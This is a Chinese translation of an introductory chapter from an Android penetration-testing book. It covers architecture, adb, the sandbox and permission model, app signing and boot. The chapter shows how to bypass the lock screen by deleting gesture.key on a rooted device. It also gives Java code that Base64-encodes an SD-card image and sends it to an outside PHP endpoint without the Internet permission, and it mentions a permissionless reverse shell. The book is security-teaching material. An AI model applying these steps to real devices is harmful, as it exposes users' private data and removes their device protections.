Android滲透測試學習手冊(一)Android 安全入門

Android 是當今最流行的智能手機操作系統之一。 隨著人氣的增加,它存在很多安全風險,這些風險不可避免地被引入到應用程序中,使得用戶本身受到威脅。 我們將在本書中以方法論和循序漸進的方式來討論 Android 應用程序安全性和滲透測試的各個方面。

本章的目標是為 Android 安全打下基礎,以便在以後的章節中使用。

1.1 Android 簡介

自從 Android 被谷歌收購( 2005 年) ,谷歌已經完成了整個開發,在過去的 9 年裡,尤其是在安全方面,有很多變化。 現在,它是世界上最廣泛使用的智能手機平台,特別是由於不同的手機製造商,如 LG,三星,索尼和 HTC 的支持。

Android 的後續版本中引入了許多新概念,例如 Google Bouncer 和 Google App Verifier。 我們將在本章逐一介紹它們。

如果我們看看 Android 的架構,如下圖所示,我們將看到它被分為四個不同的層。 在它的底部是 Linux 內核,它已被修改來在移動環境中獲得更好的性能。 Linux 內核還必須與所有硬體組件交互,因此也包含大多數硬體驅動程序。 此外,它負責 Android 中存在的大多數安全功能。 由於 Android 基於 Linux 平台,它還使開發人員易於將 Android 移植到其他平台和架構。 Android 還提供了一個硬體抽象層,供開發人員在 Android 平台棧和他們想要移植的硬體之間創建軟體鉤子。

在 Linux 內核之上是一個層級,包含一些最重要和有用的庫,如下所示:

Surface Manager:管理窗口和屏幕 媒體框架:這允許使用各種類型的編解碼器來播放和記錄不同的媒體 SQLite:這是一個較輕的 SQL 版本,用於資料庫管理 WebKit:這是瀏覽器渲染引擎 OpenGL:用於在屏幕上正確顯示 2D 和 3D 內容

以下是來自 Android 開發人員網站的 Android 架構的圖形表示:

Android 中的庫是用 C 和 C++ 編寫的,其中大多數是從 Linux 移植的。 與 Linux 相比,Android 中的一個主要區別是,在這裡沒有 libc 庫,它用於 Linux 中的大多數任務。 相反,Android 有自己的稱為 bionic 的庫,我們可以認為它是一個剝離和修改後的,用於 Android的 libc 版本。

在同一層級,還有來自 Android 運行時 -- Dalvik 虛擬機和核心庫的組件。 我們將在本書的下一部分中討論關於 Dalvik 虛擬機的很多內容。

在這個層之上,有應用程序框架層,它支持應用程序執行不同類型的任務。

此外,開發人員創建的大多數應用程序只與第一層和最頂層的應用程序交互。 該架構以一種方式設計,在每個時間點,底層都支持上面的層級。

早期版本的 Android( <4.0) 基於 Linux 內核 2.6.x,而較新版本基於內核 3.x. 不同的Android 版本和他們使用的 Linux 內核的列表規定如下:

Android 中的所有應用程序都在虛擬環境下運行,這稱為 Dalvik 虛擬機( DVM) 。 這裡需要注意的一點是,從 Android 4.4 版本開始,還有另一個運行時稱為 Android 運行時( ART) ,用戶可以在 DVM 和 ART 運行時環境之間自由切換。

然而,對於這本書,我們將只關注 Dalvik 虛擬機實現。 它類似於 Java 虛擬機( JVM) ,除了基於寄存器的特性,而不是基於堆棧的特性。 因此,運行的每個應用程序都將在自己的 Dalvik 虛擬機實例下運行。 因此,如果我們運行三個不同的應用程序,將有三個不同的虛擬實例。 現在,這裡的重點是,即使它為應用程序創建一個虛擬環境來運行,它不應該與安全容器或安全環境混淆。 DVM 的主要焦點是與性能相關,而不是與安全性相關。

Dalvik 虛擬機執行一個名為 .dex 或 Dalvik 可執行文件的文件格式。 我們將進一步查看 .dex 文件格式,並將在下面的章節中進行分析。 現在讓我們繼續與 adb 進行交互,並更深入地分析 Android 設備及其體系結構。

1.2 深入了解 Android

如果你有 Android 設備或正在運行Android模擬器,則可以使用 Android SDK 本身提供的工具( 稱為 adb) 。 我們將在第二章詳細討論 adb。 現在,我們將只設置 SDK,我們已經準備好了。

一旦設備通過 USB 連接,我們可以在我們的終端中輸入 adb,這將顯示所連接設備的序列號列表。 請確保你已在設備設置中啟用了 USB 調試功能。

$ adb devices

List of devices

attachedemulator-5554 device

現在,如我們之前所見,Android 是基於 Linux 內核的,所以大多數 Linux 命令在 Android 上也可以通過 adb shell 完美運行。 adb shell 為你提供與設備的 shell 直接交互,你可以在其中執行命令和執行操作以及分析設備中存在的信息。 為了執行 shell,只需要鍵入以下命令:

adb shell.

一旦我們在 shell 中,我們可以運行 ps 為了列出正在運行的進程:

如你所見, ps 將列出當前在 Android 系統中運行的所有進程。 如果仔細看,第一列制定了用戶名。 在這裡我們可以看到各種用戶名,如system , root , radio 和一系列以 app_ 開頭的用戶名。 正如你可能已經猜到的,以system 名稱運行的進程由系統擁有, root 作為根進程運行, radio 是與電話和無線電相關的進程, app_ 進程是用戶已下載的所有應用程序,安裝在他們的設備上並且當前正在運行。 因此,就像在 Linux 中用戶確定了當前登錄到系統的唯一用戶一樣,在 Android 中,用戶標識了在自己的環境中運行的應用/進程。

所以,Android 安全模型的核心是 Linux 特權分離。 每次在 Android 設備中啟動新應用程序時,都會為其分配唯一的用戶 ID( UID) ,該用戶 ID 將之後會屬於某些其他預定義組。

與 Linux 類似,用作命令的所有二進位文件都位於 /system/bin 和 /system /xbin 。 此外,我們從 Play 商店或任何其他來源安裝的應用程序數據將位於 /data/data ,而其原始安裝文件( 即 .apk ) 將存儲在 /data/app 。 此外,還有一些應用程序需要從 Play 商店購買,而不是只是免費下載。 這些應用程序將存儲在 /data/app-private/ 。

Android 安裝包( APK) 是 Android 應用程序的默認擴展名,它只是一個歸檔文件,包含應用程序的所有必需文件和文件夾。 我們在後面的章節中將繼續對 .apk 文件進行逆向工程。

現在,讓我們訪問 /data/data ,看看裡面有什麼。 這裡需要注意的一點是,為了在真實設備上實現,設備需要 root 並且必須處於 su 模式:

# cd /data/data

# ls

com.aditya.facebookapp

com.aditya.spinnermenu

com.aditya.zeropermission

com.afe.socketapp

com.android.backupconfirm

com.android.browser

com.android.calculator2

com.android.calendar

com.android.camera

com.android.certinstaller

com.android.classic

com.android.contacts

com.android.customlocale2

所以,我們可以在這裡看到,例如, com.aditya.facebookapp ,是單獨的應用程序文件夾。

現在,你可能會想知道為什麼它是用點分隔的單詞風格,而不是常見的文件夾名稱,如 FacebookApp 或 CameraApp 。 因此,這些文件夾名稱指定各個應用程序的軟體包名稱。 軟體包名稱是應用程序在 Play 商店和設備上標識的唯一標識符。 例如,可能存在具有相同名稱的多個相機應用或計算器應用。 因此,為了唯一地標識不同的應用,使用包名稱約定而不是常規應用名稱。

如果我們進入任何應用程序文件夾,我們會看到不同的子文件夾,例如文件(files ) ,資料庫(databases ) 和緩存(cache ) ,稍後我們將在第 3 章「逆向和審計 Android 應用程序」中查看。

shell@android:/data/data/de.trier.infsec.koch.droidsheep # ls

cache

databases

files

lib

shell@android:/data/data/de.trier.infsec.koch.droidsheep #

這裡需要注意的一個重要的事情是,如果手機已經 root,我們可以修改文件系統中的任何文件。 對設備獲取 root 意味著我們可以完全訪問和控制整個設備,這意味著我們可以看到以及修改任何我們想要的文件。

最常見的安全保護之一是大多數人都想到的是模式鎖定或 pin 鎖,它默認存在於所有Android手機。 你可以通過訪問 Settings | Security | Screen Lock 來配置自己的模式。

一旦我們設置了密碼或模式鎖定,我們現在將繼續,將手機與 USB 連接到我們的系統。 現在,密碼鎖的密鑰或模式鎖的模式數據以名稱 password.key 或 gesture.key 存儲在 /data/system 。 注意,如果設備被鎖定,並且 USB 調試被打開,你需要一個自定義引導載入程序來打開 USB 調試。 整個過程超出了本書的範圍。 要了解有關 Android 的更多信息,請參閱 Thomas Cannon Digging 的 Defcon 演示。

因為破解密碼/模式將更加艱難,並且需要暴力( 我們將看到如何解密實際數據) ,我們將簡單地繼續並刪除該文件,這將從我們手機中刪除模式保護 :

shell@android:/data # cd /data/system

shell@android:/data/system # rm gesture.key

所以,我們可以看到,一旦手機被 root ,幾乎任何東西都可以只用手機、一根USB電纜和一個系統來完成。 我們將在本書的後續章節中更多地了解基於 USB 的利用。

1.3 沙箱和許可權模型

為了理解 Android 沙箱,讓我們舉一個例子,如下圖:

如前圖所示和前面所討論的,Android 中的每個應用程序都在其自己的 Dalvik 虛擬機實例中運行。 這就是為什麼,無論何時任何應用程序在我們的設備中崩潰,它只是顯示強制關閉或等待選項,但其他應用程序繼續順利運行。 此外,由於每個應用程序都在其自己的實例中運行,因此除非內容提供者另有規定,否則將無法訪問其他應用程序的數據。

Android 使用細粒度的許可權模型,這需要應用程序在編譯最終應用程序包之前預定義許可權。

你必須注意到,每次從 Play 商店或任何其他來源下載應用程序時,它會在安裝過程中顯示一個許可權屏幕,它類似於以下屏幕截圖:

此許可權屏幕顯示應用程序可以通過手機執行的所有任務的列表,例如發送簡訊,訪問互聯網和訪問攝像頭。 請求多於所需的許可權使應用程序成為惡意軟體作者的更具吸引力的目標。

Android 應用程序開發人員必須在開發應用程序時在名為 AndroidManifest.xml 的文件中指定所有這些許可權。 此文件包含各種應用程序相關信息的列表,例如運行程序所需的最低Android 版本,程序包名稱,活動列表( 應用程序可見的應用程序中的界面) ,服務( 應用程序的後台進程) ,和許可權。 如果應用程序開發人員未能在 AndroidManifest.xml 文件中指定許可權,並仍在應用程序中使用它,則應用程序將崩潰,並在用戶運行它時顯示強制關閉消息。

一個正常的 AndroidManifest.xml 文件看起來像下面的截圖所示。 在這裡,你可以使用 <uses-permission> 標記和其他標記查看所需的不同許可權:

如前所述,所有 Android 應用程序在安裝後首次啟動時都會分配一個唯一的 UID。 具有給定UID 的所有用戶都屬於特定組,具體取決於他們請求的許可權。 例如,一個僅請求 Internet 許可權的應用程序將屬於 inet 組,因為 Android 中的 Internet 許可權位於 inet 組下。

用戶( 在這種情況下的應用程序) 可以屬於多個組,具體取決於他們請求的許可權。 或者換句話說,每個用戶可以屬於多個組,並且每個組可以具有多個用戶。 這些組具有由組ID( GID) 定義的唯一名稱。 然而,開發人員可以明確地指定其他應用程序在與第一個相同的 UID 下運行。 在我們的設備中,其中的組和許可權在文件 platform.xml 中指定,它位於 /system/etc/permissions/ :

shell@grouper:/system/etc/permissions $ cat platform.xml

<permissions>

. . .

<!-- ================================================================== -->

<!-- The following tags are associating low-level group IDs with

permission names. By specifying such a mapping, you are saying

that any application process granted the given permission will

also be running with the given group ID attached to its process,

so it can perform any filesystem (read, write, execute) operations

allowed for that group. -->

<permission name="android.permission.BLUETOOTH" >

<group gid="net_bt" />

</permission>

<permission name="android.permission.INTERNET" >

<group gid="inet" />

</permission>

<permission name="android.permission.CAMERA" >

<group gid="camera" />

</permission>

. . . [Some of the data has been stripped from here in order to shorten the output an

d make it readable]

</permissions>

shell@grouper:/system/etc/permissions $ cat platform.xml

<permissions>

. . .

<!-- ================================================================== -->

<!-- The following tags are associating low-level group IDs with

permission names. By specifying such a mapping, you are saying

that any application process granted the given permission will

also be running with the given group ID attached to its process,

so it can perform any filesystem (read, write, execute) operations

allowed for that group. -->

<permission name="android.permission.BLUETOOTH" >

<group gid="net_bt" />

</permission>

<permission name="android.permission.INTERNET" >

<group gid="inet" />

</permission>

<permission name="android.permission.CAMERA" >

<group gid="camera" />

</permission>

. . . [Some of the data has been stripped from here in order to shorten the output an

d make it readable]

</permissions>

此外,這清除了對在 Android 設備中運行的本地應用程序的懷疑。 由於本地應用程序直接與處理器交互,而不是在 Dalvik 虛擬機下運行,因此它不會以任何方式影響整體安全模型。

現在,就像我們在前面部分看到的,應用程序將其數據存儲在 location/data/data/[package name] 。 現在,存儲應用程序數據的所有文件夾也具有相同的用戶 ID,這構成 Android 安全模型的基礎。 根據 UID 和文件許可權,它將限制來自具有不同 UID 的其他應用程序對它的訪問和修改。

在下面的代碼示例中, ret 包含以 Base64 格式編碼存儲在的 SD 卡中的圖像,現在正在使用瀏覽器調用來上傳到 attify.com 網站。 目的只是找到一種方式來在兩個不同的 Android 對象之間進行通信。

我們將首先創建一個對象來存儲圖像,在Base64 中編碼,最後將其存儲在一個字元串中 imageString :

final File file = new File("/mnt/sdcard/profile.jpg");

Uri uri = Uri.fromFile(file);

ContentResolver cr = getContentResolver();

Bitmap bMap=null;

try {

InputStream is = cr.openInputStream(uri);

bMap = BitmapFactory.decodeStream(is);

if (is != null) {

is.close();

}

} catch (Exception e) {

Log.e("Error reading file", e.toString());

} B

yteArrayOutputStream baos = new ByteArrayOutputStream();

bMap.compress(Bitmap.CompressFormat.JPEG, 100, baos);

byte[] b = baos.toByteArray();

String imageString = Base64.encodeToString(b,Base64.DEFAULT);

最後,我們將啟動瀏覽器將數據發送到我們的伺服器,我們有一個 .php 文件偵聽傳入的數據:

startActivity(new Intent(Intent.ACTION_VIEW,Uri.parse("attify.com/up.php?"+im

ageString)));

我們還可以執行命令並以相同的方式將輸出發送到遠程伺服器。 但是,這裡需要注意的一點是 shell 應該在應用程序的用戶下運行:

// To execute commands :

String str = "cat /proc/version"; //command to be executed is stored in str.

process = Runtime.getRuntime().exec(str);

這是一個有趣的現象,因為攻擊者可以獲得一個反向 shell( 這是一個從設備到系統的雙向連接,可以用於執行命令) ,而不需要任何類型的許可權。

1.4 應用簽名

應用程序簽名是 Android 的獨特特性之一,由於其開放性和開發人員社區,它取得了成功。

Play 商店中有超過一百萬個應用。 在 Android 中,任何人都可以通過下載 Android SDK 創建 Android 應用,然後將其發布到 Play 商店。 通常有兩種類型的證書籤名機制。 一個是由管理證書頒發機構( CA) 簽名的,另一個是自簽名證書。 沒有中間證書頒發機構( CA) ,而開發人員可以創建自己的證書並為應用程序簽名。

在 Apple 的 iOS 應用程序模型中可以看到 CA 簽名,其中開發者上傳到 App Store 的每個應用程序都經過驗證,然後由 Apple 的證書籤名。 一旦下載到設備,設備將驗證應用程序是否由 Apple 的 CA 簽名,然後才允許應用程序運行。

但是,在 Android 中是相反的。 沒有證書頒發機構; 而是開發人員的自創建證書可以簽署應用程序。 應用程序上傳完成後,會由 Google Bouncer 進行驗證,這是一個虛擬環境,用於檢查應用程序是否是惡意或合法的。 檢查完成後,應用就會顯示在 Play 商店中。 在這種情況下,Google 不會對該應用程序進行簽名。 開發人員可以使用 Android SDK 附帶的工具( 稱為 keytool ) 創建自己的證書,或者使用 Eclipse 的 GUI 創建證書。

因此,在 Android 中,一旦開發人員使用他創建的證書籤名了應用程序,他需要將證書的密鑰保存在安全的位置,以防止其他人竊取他的密鑰並使用開發人員的證書籤署其他應用程序。 如果我們有一個 Android 應用程序(.apk ) 文件,我們可以檢查應用程序的簽名,並找到使用稱為 jarsigner 的工具簽署應用程序的人,這個工具是 Android SDK 自帶的:

$ jarsigner -verify -certs -verbose testing.apk

以下是在應用程序上運行上述命令並獲取簽名的信息的屏幕截圖:

此外,解壓縮 .apk 文件後,可以解析 META-INF 文件夾中出現的 CERT.RSA 文件的 ASCII 內容,以獲取簽名,如以下命令所示:

$ unzip testing.apk

$ cd META-INF

$ openssl pkcs7 -in CERT.RSA -print_certs -inform DER -out out.cer

$ cat out.cer

這在檢測和分析未知的 Android .apk 示例時非常有用。 因此,我們可以使用它獲得簽署人以及其他詳細信息。

1.5 Android 啟動流程

在 Android 中考慮安全性時最重要的事情之一是 Android 啟動過程。 整個引導過程從引導載入程序開始,它會反過來啟動 init 過程 - 第一個用戶級進程。

所以,任何引導載入程序的變化,或者如果我們載入另一個,而不是默認存在的引導載入程序,我們實際上可以更改在設備上載入的內容。 引導載入程序通常是特定於供應商的,每個供應商都有自己的修改版本的引導載入程序。 通常,默認情況下,此功能通過鎖定引導載入程序來禁用,它只允許供應商指定的受信任內核在設備上運行。 為了將自己的 ROM 刷到Android 設備,需要解鎖引導載入程序。 解鎖引導載入程序的過程可能因設備而異。 在某些情況下,它也可能使設備的保修失效。

注 在Nexus 7 中,它就像使用命令行中的 fastboot 工具一樣簡單,如下所示:

$ fastboot oem unlock

在其他設備中,可能需要更多精力。 我們看看如何創建自己的 Bootloader 並在本書的後續章節中使用它。

回到啟動過程,在引導載入程序啟動內核並啟動 init 之後,它掛載了 Android 系統運行所需的一些重要目錄,例如 /dev , /sys 和 /proc 。 此外, init 從配置文件 init.rc 和 init.[device-name].rc 中獲取自己的配置,在某些情況下從位於相同位置的 .sh 文件獲取自己的配置。

如果我們對 init.rc 文件執行 cat ,我們可以看到 init 載入自身時使用的所有規範,如下面的截圖所示:

init 進程的責任是啟動其他必需的組件,例如負責 ADB 通信和卷守護程序( vold) 的 adb守護程序( adbd) 。

載入時使用的一些屬性位於 build.prop ,它位於 location/system 。 當你在 Android 設備上看到 Android logo 時,就完成了 init 進程的載入。 正如我們在下面的截圖中可以看到的,我們通過檢查 build.prop 文件來獲取設備的具體信息:

一旦所有的東西被載入, init 最後會載入一個稱為 Zygote 的進程,負責以最小空間載入Dalvik 虛擬機和共享庫,來加快整個進程的載入速度。 此外,它繼續監聽對自己的新調用,以便在必要時啟動更多 DVM。 這是當你在設備上看到 Android 開機動畫時的情況。

一旦完全啟動,Zygote 派生自己並啟動系統,載入其他必要的 Android 組件,如活動管理器。 一旦完成整個引導過程,系統發送 BOOT_COMPLETED 的廣播,許多應用程序可能使用稱為廣播接收器的 Android 應用程序中的組件來監聽。 當我們在第 3 章「逆向和審計 Android 應用程序」中分析惡意軟體和應用程序時,我們將進一步了解廣播接收器。

總結

在本章中,我們為學習 Android 滲透測試建立了基礎。 我們還了解 Android 的內部結構及其安全體系結構。

在接下來的章節中,我們將建立一個 Android 滲透測試實驗室,並使用這些知識執行更多的技術任務,來滲透 Android 設備和應用程序。 我們還將了解有關 ADB 的更多信息,並使用它來收集和分析設備中的信息。

本文由 飛龍使者 看雪學院 編譯

原文:Learning Pentesting for Android Devices

作者:Aditya Gupta


推薦閱讀:

谷歌是否會推出 Nexus 6?
為何很少聽聞耳熟能詳的大牛或知名人士加入魅族?
譯文 | Android 開發中利用非同步來優化運行速度和性能

TAG:Android | 滲透測試 | 網路安全 |